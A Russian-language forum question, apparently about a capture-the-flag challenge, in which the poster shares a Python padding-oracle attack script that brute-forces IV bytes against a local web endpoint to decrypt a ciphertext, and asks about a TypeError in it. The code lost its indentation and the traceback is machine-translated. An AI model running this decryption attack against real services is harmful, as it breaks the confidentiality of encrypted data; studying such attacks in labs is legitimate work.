У меня есть 2 ошибки в моем коде, я вижу другие дубликаты примеров и решений, но не такие, вот мой код:
import base64
import requests
def decode(data):
return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))
def encode(data):
return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')
def bxor(b1, b2): # use xor for bytes
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
def test(url, data):
r = requests.get(url+'?post={}'.format(data))
if 'PaddingException' in r.text:
return False
else:
return True
def generate_iv_list(tail):
iv = b'\x00' * (16 - len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]
def padding_oracle(real_iv, url, data):
index = 15
plains = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
if test(url, encode(iv+data)):
plains = bytes([(16-index) ^ iv[index]]) + plains
index -= 1
tail = bytes([plain ^ (16-index) for plain in plains])
break
return bxor(real_iv, plains)
if __name__ == '__main__':
post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
url = 'http://127.0.0.1/82356bdd25/'
i = 1
plains = bytes()
data = decode(post)
length = len(data)
while True:
if i*16 < length:
iv = data[(i-1)*16: i*16]
plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
else:
break
i += 1
print(plains)
ЭТО ОШИБКА:
Traceback (последний вызов был последним): файл "ata c .py", строка 51, на равнинах + = padding_ oracle (iv, url, data [i * 16: (i + 1) ) * 16]) Файл "ata c .py", строка 34, в padding_oracle plains = bytes ([(16-index) ^ iv [index]]) + plains TypeError: неподдерживаемые типы операндов для ^: 'int' и 'str'
Спасибо за помощь.